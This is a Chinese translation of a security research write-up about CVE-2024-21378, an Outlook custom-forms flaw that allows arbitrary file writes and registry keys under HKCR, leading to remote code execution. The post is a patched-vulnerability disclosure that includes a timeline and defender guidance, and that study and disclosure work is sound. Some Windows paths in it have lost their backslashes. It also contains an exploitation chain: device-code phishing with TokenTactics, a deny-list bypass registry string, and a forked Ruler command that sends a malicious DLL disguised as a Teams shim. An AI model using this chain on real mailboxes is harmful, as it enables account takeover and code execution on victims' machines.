漏洞概述

这种攻击的原始变体由SensePost(Orange CyberDefense)的Etienne Stalmans在2017年记录,并利用Outlook表单对象中的VBScript代码以获得对邮箱的访问权限。作为回应,发布了一个补丁,以强制执行自定义表单中脚本代码的允许列表。然而,这些表单对象的同步能力从未改变。

在底层,表单使用IPM.Microsoft.FolderDesign.FormsDescription对象通过MAPI进行同步。这些对象携带特殊的属性和附件,用于在客户端首次使用时“安装”表单。以下是这个过程的概述:

  1. Outlook请求实例化特定的消息类(IPM.Note.Evil)。

  2. 相关文件夹的MAPI关联内容表被查询以获取IPM.Microsoft.FolderDesign.FormsDescription对象。

  3. 如果存储在PidTagOfflineAddressBookName属性中的类名匹配,则开始表单安装过程。

  4. PidTagOfflineAddressBookDistinguishedName用作新表单安装的CLSID(所有表单都是COM对象)。

  5. 表单描述的第一个附件和特殊属性0x6902001F确定需要在CLSID下添加哪些注册表键以安装表单。

  • 在旧风格的表单中(“绕过Outlook的表单”),这些注册表值通常包括InProcServer键或等效项,它们绑定到磁盘上提取的DLL。

  • 在较新的表单中,使用Outlook特定的MsgClass键将表单绑定到磁盘上提取的OLE对象。

  • 在这些键中的任何一个内部,%d可以用来指代剩余表单附件被提取的目录(%localappdata%MicrosoftFORMS)。

  1. 确认注册表更改后,Outlook继续将表单加载为COM对象。

这个过程存在一些严重问题:

  • 在将附件提取到*%localappdata%MicrosoftFORMS时,您可以通过PidTagAttachFilename*属性执行路径遍历。您也可以将多个文件写入磁盘。这本质上是每次安装表单时的任意磁盘写入原语。

  • 在为表单创建注册表键时,0x6902001F属性数据通过新行断开,期望key=value行。每行都被处理,其中key是CLSID根的子键,value是该键的默认值。为了防止“绕过Outlook的表单”,典型的COM服务器键(InProcServerLocalServer等)的拒绝列表与每行的开头(OLMAPI32.DLL)进行比较。然而,在安装值时,您可以使用前导字符来暗示HKCR下的完整子键路径。例如,CLSIDInprocServer32=%devil.dll将绕过拒绝列表检查,并导致表单的完整COM对象注册。

我们发现我们有能力在磁盘上创建任意文件,以及在HKEY_CLASSES_ROOT(HKCR)下安装任意注册表键(带默认值)。这些原语足以获得微不足道的RCE。

深入审查

设置舞台

通常,我们认为这是基于使用受损凭据通过Exchange同步对象的一系列攻击的第四次迭代。2015年底,Dreadnode的联合创始人Nick Landers发表了一篇博客,讲述了滥用Outlook规则进行RCE。在接下来的几年中,Etienne(SensePost)和Nick双重发现了另外两组最终被微软修补的向量,包括滥用Outlook表单。SensePost发布了一组优秀的博客(见参考文献),深入挖掘了漏洞和底层技术以及利用工具,Ruler。

我们打算重新回到这项研究,因为我们认为Outlook具有一个庞大且未被充分探索的攻击面,我们在最近几年与设备代码网络钓鱼/假冒的反复成功是我们所需要的最后推动力。

我们通过手动探索Outlook客户端中的Outlook表单,以及使用MFCMAPI和ProcMon开始了我们的研究。我们将保持对底层技术概述的高层次,但基本上Outlook中可用的各种项目(消息、日历邀请、任务等)是通过“检查器窗口”中的表单结构显示的。Outlook既包含标准表单,也允许通过Exchange(包括Exchange Online)发布和同步自定义表单。

在研究过程中,我们发现了表单配置文件格式,可以用来安装自定义表单。特别感兴趣的是文件和注册表条目。

文件条目列出了表单库维护并加载到磁盘缓存中的新子目录中的表单服务器应用程序可执行文件。。。

每当使用文件条目时,注册表条目用于标识表单库的注册表键,其中存储了表单服务器应用程序的可执行文件。。。

我们首先尝试证明本地代码执行。下面是一个示例表单配置,我们可以直接导入到Outlook中以安装表单。我们将文件条目设置为我们希望与我们的表单一起安装的DLL的位置,并将此文件保存到c:pochello.cfg。

\[Description\] 
MessageClass=IPM.Note.Hello 
CLSID={00000000-1234-1234-1234-000000000000} 
DisplayName=Hello 
Category=Standard 
Subcategory=Form 
Comment=Hello 
SmallIcon=C:WindowsSysWOW64OneDrive.ico 
LargeIcon=C:WindowsSysWOW64OneDrive.ico 

\[Platforms\] 
Platform1=Win16 

\[Platform.Win16\] 
CPU=ix86 
OSVersion=Win3.1 
File = C:pochello.dll 
Registry = InprocServer32 = %dhello.dll 

为了测试目的,我们编译了一个包含DllMain中的执行原语的DLL,并再次将其放置在我们上述hello.cfg文件相同的文件夹中。

#include <Windows.h> 

BOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID reserved) { 

     if (reason == DLL_PROCESS_ATTACH) { 

     MessageBoxA(0, "Hello", "Ruh Roh", 0); 

     } 

     return TRUE;

}

然后,可以通过导航到文件 -> 选项 -> 高级 -> 自定义表单并选择hello.cfg文件,在Outlook中安装表单。

注意:我们通过配置文件在收件箱中安装自定义表单时将位置设置为收件箱。

导航到表单管理器


在收件箱文件夹中安装自定义表单配置文件


验证表单是否已安装

然后,我们继续选择开发人员选项卡 -> 选择表单并打开我们新创建的表单。

尝试打开我们新安装的表单


嗯,不理想,但我们记得在安装表单配置文件时看到了可能相关的配置。我们进行了更改并重试。


与我们之前的选择相关的自定义表单选项


更好了!我们确认了任意DLL的执行,但我们仍然需要做一些工作才能达到任何有用的目标。在后端,安装表单后,配置文件被转换为IPM.Microsoft.FolderDesign.FormsDescription消息类对象,并存储在Outlook中的收件箱目录中。在选择开发人员选项卡中的自定义表单后查看关联的注册表键,我们发现我们的DLL存储在*%localappdata%MicrosoftFORMSIPM.Note.Hello,*中,不仅确认了执行,还确认了似乎是任意的注册表写入,以及磁盘上的文件写入。


接近目标

为了更好地了解幕后发生的事情,我们开始使用MFCMAPI探索Outlook的内容。Outlook包含您的电子邮件,但同时它也是一个数据库,我们可以将MFCMAPI视为本质上是一个数据库探索工具,它为您提供了访问Outlook客户端中不可见的属性和对象的权限。在MFCMAPI中,我们右键单击我们的收件箱(因为我们在那里保存了我们的自定义表单),并导航到“打开关联内容表”按钮,在那里我们找到了新表单及其各种属性。

查看收件箱文件夹的隐藏内容表

当我们探索如何在代码中重新创建IPM.Microsoft.FolderDesign.FormsDescription对象时,我们开始问自己,“可以安装的表单和‘绕过Outlook’的表单之间有什么区别?是什么决定了这一点?”

最直接相关的属性似乎是“PidTagOfflineAddressBookDistinguishedName”或“PR_OAB_DN”。这个属性标签包含了我们在配置文件中分配的COM GUID,最终定义了表单最终注册为的COM CLSID。这很有趣,因为我们似乎可以在HKCR下创建任何注册表键并设置它的(默认)值。此外,如果CLSID是任意的,那么有什么能阻止我们输入现有对象的CLSID并执行经典的COM劫持呢?同样,SensePost提供了这些属性标签及其重要性的概述,因此我们将避免在这里重复相同的内容。

IPM.Note.Hello表单的属性标签及其值

然后我们右键单击表单,选择“附件 -> 显示附件表”,发现表单包含几个附件,包括要通过表单消息对象注册的DLL。在第一个附件中,我们还发现了我们的注册表键信息在几个属性标签中。我们注意到PR_ATTACH_DATA_BIN属性似乎不重要,因为我们可以将内容掏空,并将表单同步回Outlook而没有任何效果。我们发现0x6902001F属性的值决定了需要在CLSID下添加哪些注册表键以安装表单——这是另一个看似关键的组件。在第一个附件中,我们还发现了我们的注册表键信息在几个属性标签中。

MFCMAPI中的表单附件表

然后我们使用Ruler发送给自己一个旨在执行VBScript的表单,并开始将其与我们的COM DLL执行表单进行比较。审查结果,我们确认传递在0x6902001F属性标签中的值被用来设置注册表键。

在0x6092001F属性标签中测试各种输入

在注册表中查看结果

我们还发现,将InProcServer32添加到VBScript表单键中,并通过MFCMAPI将表单同步回Outlook会导致失败,因为我们会收到“无法安装绕过Outlook的表单”的错误。我们可以清楚地看到这是一个拒绝列表,因为我们设置的任何其他键都会被创建。

这使我们提出了一系列新问题,首先是这个拒绝列表在哪里实现?我们能否通过不会在拒绝列表上但仍能让我们获得代码执行或执行COM劫持的替代注册表键来绕过这个拒绝列表?他们是否限制GUID?如果我们提供一个已经存在的CLSID的GUID,它是否有效,会追加到注册表中,还是失败?但是,再次,它似乎是任意的,我们在表单中放置的任何键都会被简单地创建,这在我们看来只是一个糟糕的策略。

我们决定开始寻找拒绝列表发生的地方。这有点棘手,因为Outlook是一个很难反编译的野兽,但我们可能可以在ProcMon的帮助下到达那里。我们打开ProcMon并再次执行表单,特别过滤我们的COM GUID。

在进程监视器中查看堆栈

如上所见,在RegOpenKeyExA之前的最后一个调用来自OLMAPI32.DLL中的函数调用。我们开始反编译OLMAPI32.DLL,并在函数及其引用中徘徊,ScOpenRegKey -> RegisterFormClass -> HrDownloadFormFiles,直到我们最终遇到一个看起来熟悉的属性标签,0x6902001F!嗯,我们找到了0x6902001E,这是我们原始属性标签的ASCII版本。

跳转到ProcMon中识别的地址

查看ScOpenRegKey的引用并发现RegisterFormClass


选择RegisterFormClass的引用


在RegisterFormClass函数中发现我们感兴趣的属性标签

再次审查RegisterFormClass,我们找到了我们的检查函数(sub_1803DF094)和拒绝列表变量(*v8 = (LPCSTR )off_1806DAB0)。

注意:下面的一些变量和函数名称已被修改以清晰。

检查函数和拒绝列表变量(名称已修改)

我们寻找的拒绝列表变量

审查拒绝列表检查和安装之间的差异,我们发现使用相对路径进行简单绕过,通过在每行前加上“”。例如,“InprocServer32=%devil.dll”被阻止了,而“CLSID{00000000-1234-1234-1234-FEED00000000}InprocServer32=%devil.dll”没有被阻止。

__int64 ApplyRegistryKeysFromString(HKEY regKey, LPCSTR path, LPCSTR lpSubKey, char *value) {
    HKEY hKey = 0;
    int pathLen = strlen(path);
    char *block = strdup(value);
    if (!block) return 2147942414;

    char *lineStart = block;
    while (lineStart && *lineStart) {
        const char *lineEnd = strchr(lineStart, '\n');
        if (lineEnd) {
            *lineEnd = 0;
            lineEnd++;
        }

        char *equalSign = strchr(lineStart, '=');
        const char *keyValue = equalSign ? equalSign + 1 : "SzNull";

        if (equalSign) *equalSign = 0;

        if (*lineStart == '\0') {
            if (ScOpenRegKey(&hKey, HKEY_CLASSES_ROOT, lineStart + 1, 2, 1) == 0) {
                if (RegSetValueA(hKey, 0, REG_SZ, keyValue, strlen(keyValue)) != 0) {
                    return -2147221167;
                }
            }
        } else {
            if (ScSetRegValue(&hKey, regKey, lineStart, keyValue, strlen(keyValue)) != 0) {
                return -2147221167;
            }
        }

        lineStart = (char *)lineEnd;
    }

    free(block);
    return 0;
}

我们的研究表明,作为一个经过身份验证的用户,我们可以:

  • 在HKCR下创建任何注册表键并设置键的(默认)值

  • 在磁盘上的任意位置放置任意数量的文件

  • 创建一个表单,当执行时会导致Outlook通过CLSID加载注册的COM对象。

案例

正如本文开头提到的,我们研究的一个主要驱动因素是我们在红队参与期间对设备代码认证令牌滥用的成功。确定了我们可以利用的漏洞进行远程代码执行后,我们继续分叉并修改Ruler,以支持通过受损的访问令牌对Exchange Online进行身份验证。我们考虑了各种执行技术,但为了这个概念验证的目的,我们通过添加代码来同步一个包含执行任意COM兼容的本机DLL所需属性的表单,保持了简单。公共分叉包含PoC代码可以在这里找到,以及在适当的时候向原始存储库提交的拉取请求。

我们立即发现了一些初步的OpSec问题:

  • 触发表单需要用户交互才能执行(尽管一些进一步的挖掘可能会揭示自动化执行)。

  • DLL将被提取到众所周知的FORMS目录,这可以从历史攻击中被监控。

  • 注册表中的CLSID更改由Outlook进程执行。

  • DLL将被加载到Outlook进程中。

下面我们提供了一个一般利用流程的高层次概述:

  1. 获取目标用户的凭证材料。

  2. 创建我们想要执行的COM兼容DLL。

  3. 向Ruler指定我们的凭证材料、DLL和其他所需/可选参数。

  4. Ruler将对Exchange服务器/Exchange Online进行身份验证,并将表单作为电子邮件发送。

  5. 用户需要通过点击、转发或打印其Windows设备上的Microsoft Outlook厚客户端中的电子邮件来触发表单。

  6. 表单的执行将创建注册表键,将DLL放置到磁盘上,并将DLL加载到Outlook进程中。

从设备代码到执行的演练

在这一部分中,我们将通过实际操作来利用这个问题。首先,我们通过设备代码网络钓鱼/假冒获取刷新令牌,使用我们选择的武器,即TokenTactics。

PS C:TokenTactics> Import-Module .TokenTactics.psd1
PS C:TokenTactics> Get-AzureToken -Client Outlook
user_code        : L78NMWTT3
device_code      : [REDACTED]              
verification_url : https://microsoft.com/devicelogin 
expires_in       : 900
interval         : 5
message          : 要登录,请使用网页浏览器打开页面 https://microsoft.com/devicelogin 并输入代码 L78NMWTT3 进行身份验证。

authorization_pending
token_type     : Bearer
scope          : AuditLog.Read.All 
[TRUNCATED]
expires_in     : 8492
ext_expires_in : 8492
expires_on     : 1697842572
not_before     : 1697833779
resource       : https://graph.microsoft.com/ 
access_token   : eyJ0[REDACTED]

PS C:TokenTactics> $response.access_token | clip

在编译了一个COM DLL之后,我们使用我们分叉的Ruler发送表单。下面是一个Ruler命令的例子,注意提供的参数顺序很重要。Ruler将使用我们的Outlook访问令牌对Exchange Online进行身份验证,并发送一个包含DLL文件的表单作为电子邮件消息。

$ go run .ruler.go --token "[REDACTED]" --email user@example.com --o365 --debug form add-com --dll evil.dll --suffix Evil -s
[+] Found cached Autodiscover record. Using this (use --nocache to force new lookup)
[+] Create Form Pointer Attachment with data:  CLSID{00000000-1234-1234-1234-FEED00000000}InprocServer32=%dMicrosoft.Teams.Shim.dll
Starting Upload
Writing final piece 0 of 0
[+] Create Form Template Attachment
Starting Upload
Writing 0 of 43
[TRUNCATED]
Writing final piece 43 of 43
[+] Form created successfully:  IPM.Note.Evil
[+] Sending email.
[+] Email sent!

再次,在上述示例中,我们创建了一个新的表单,并向被入侵的电子邮件账户(从它自己)发送了触发电子邮件。尽管表单已安装,但除非在Outlook厚客户端内点击(在预览窗格中查看)、转发或打印触发电子邮件,否则执行不会发生。

让我们看看form add-com中的一些可能的参数。

$ go run ruler.go form add-com -h
NAME:
   ruler form add-com - creates a new COM based form.

USAGE:
   ruler form add-com [command options] [arguments...]

OPTIONS:
   --suffix value           A 3 character suffix for the form. Defaults to pew (default: "pew")
   --dll value, -d value    A path to the COM DLL file to execute
   --clsid value, -c value  CLSID to use for the remote registration (default: "random")
   --name value, -n value   The DLL name on the remote system (default: "Microsoft.Teams.Shim.dll")
   --hidden                 Attempt to hide the form.
   --send, -s               Trigger the form once it's been created
   --body value, -b value   The email body you may wish to use (default: "This message cannot be displayed in the previewer.nnnnn")
   --subject value          The subject you wish to use, this should contain your trigger word (default: "Exchange Quarantine Report")

显然,还有一些OpSec问题留给了读者。

结论

微软已经发布了CVE-2024-21378的补丁(请参阅MSRC更新指南,获取适用于您的Outlook和/或Office版本的信息),我们希望稍微延迟这篇文章的发布已经给了组织一个先机。我们还希望这能够重新引起人们对我们认为是尚未完全探索的攻击面(以及一些保护措施的浅薄)的关注。发现并绕过漏洞并不特别复杂——我们采取了正常的黑客式方法,试图进一步推动我们对底层技术和协议的理解,更不用说,在之前的研究基础上进行构建肯定有所帮助。

对于防御团队,微软已经发布了有关检测和修复Outlook规则和表单滥用的指南,

https://learn.microsoft.com/en-us/microsoft-365/security/office-365-security/detect-and-remediate-outlook-rules-forms-attack?view=o365-worldwide

时间线:

  • 2023年9月29日 – 向微软提交漏洞。

  • 2023年10月2日 – 微软开启案例。

  • 2023年10月25日 – 微软确认报告的行为,并表示他们将继续调查并决定如何解决这个问题。

  • 2024年2月4日 – 微软确认将在下一个补丁周期发布修复程序。

  • 2024年2月13日 – 发布CVE-2024-21378的修复程序,案例关闭。

  • 2024年2月28日 – 向微软报告CVE FAQ和CVSS中的错误。

  • 2024年3月4日 – 微软承认收到细节,并开始与内部利益相关者协调。

  • 2024年3月5日 – 微软更新CVE以解决FAQ和CVSS错误。

  • 2024年3月11日 – NetSPI在没有PoC的情况下发布了漏洞和利用细节

  • 2024年3月18日 – NetSPI发布了PoC

参考文献:

https://github.com/sensepost/ruler
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21378
https://sensepost.com/blog/2016/mapi-over-http-and-mailrule-pwnage/
https://sensepost.com/blog/2017/pass-the-hash-with-ruler/
https://sensepost.com/blog/2017/outlook-forms-and-shells/
https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/
https://learn.microsoft.com/en-us/office/vba/outlook/concepts/forms/how-outlook-forms-and-items-work-together
https://github.com/rvrsh3ll/TokenTactics